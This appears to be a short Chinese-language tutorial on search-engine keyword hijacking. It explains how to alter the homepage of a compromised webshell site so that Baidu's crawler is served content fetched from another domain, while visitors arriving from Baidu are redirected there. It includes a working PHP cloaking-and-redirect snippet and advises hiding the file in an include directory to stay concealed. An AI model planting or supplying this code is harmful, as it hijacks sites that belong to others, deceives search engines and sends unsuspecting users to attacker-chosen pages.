摘要:其實原理很簡單: 搜索引擎關鍵詞劫持的過程實際上就是,修改肉雞站點(webshell站點)A的首頁(希望被搜索引擎收錄的頁面,一般情況下是首頁),使之做出如下判斷: if(來訪者是蜘蛛){ 輸出指定內容 } if(用戶是從搜索引擎點擊進入網站的){ 跳轉我們希...
其實原理很簡單:
搜索引擎關鍵詞劫持的過程實際上就是,修改肉雞站點(webshell站點)A的首頁(希望被搜索引擎收錄的頁面,一般情況下是首頁),使之做出如下判斷:
if(來訪者是蜘蛛){
輸出指定內容
}
if(用戶是從搜索引擎點擊進入網站的){
跳轉我們希望跳轉的站點B
}
所以我們可以達到如下效果:
針對蜘蛛來說,如果來訪者是指定的蜘蛛,那么輸出希望讓蜘蛛看到的內容,如果來訪者不是蜘蛛,則輸出希望給正常用戶看到的內容。正常用戶在瀏覽器地址欄輸入網址訪問網站A,看到正常的首頁,如果用戶點擊百度的搜索結果中的鏈接進入網站A,則跳轉我們要做SEO的站點B。
表達能力有限,說了這么多也不知道大家明白沒有。。。
那好吧,下面我來上代碼,大家可能一看就懂了。代碼很短,也很容易理解。
<?php ################################################ # 可以把本文件放在類似inc、include這樣的目錄中 # # 首頁require_once('本文件路徑');就可以了 # # 這樣會比較隱蔽 # ################################################ if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) { //判斷搜索引擎,這里是百度,可以自行添加蜘蛛 /* Header("HTTP/1.1 301 Moved Permanently"); Header("Location: http://www.yunsec.net/"); //這是301跳轉,301主要針對搜索引擎,如果你想告訴搜索引擎這個頁面已經更換URL了的話... */ $file = file_get_contents('http://www.yunsec.net/forum.php'); echo $file;//輸出指定文件內容 exit; } //判斷來路 if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用戶來自baidu.com //Header("HTTP/1.1 301 Moved Permanently");//301跳轉,也可以不用301,直接跳轉,301狀態碼主要針對搜索引擎使用 Header("Location: http://www.yunsec.net/");//跳轉 exit; } ?>
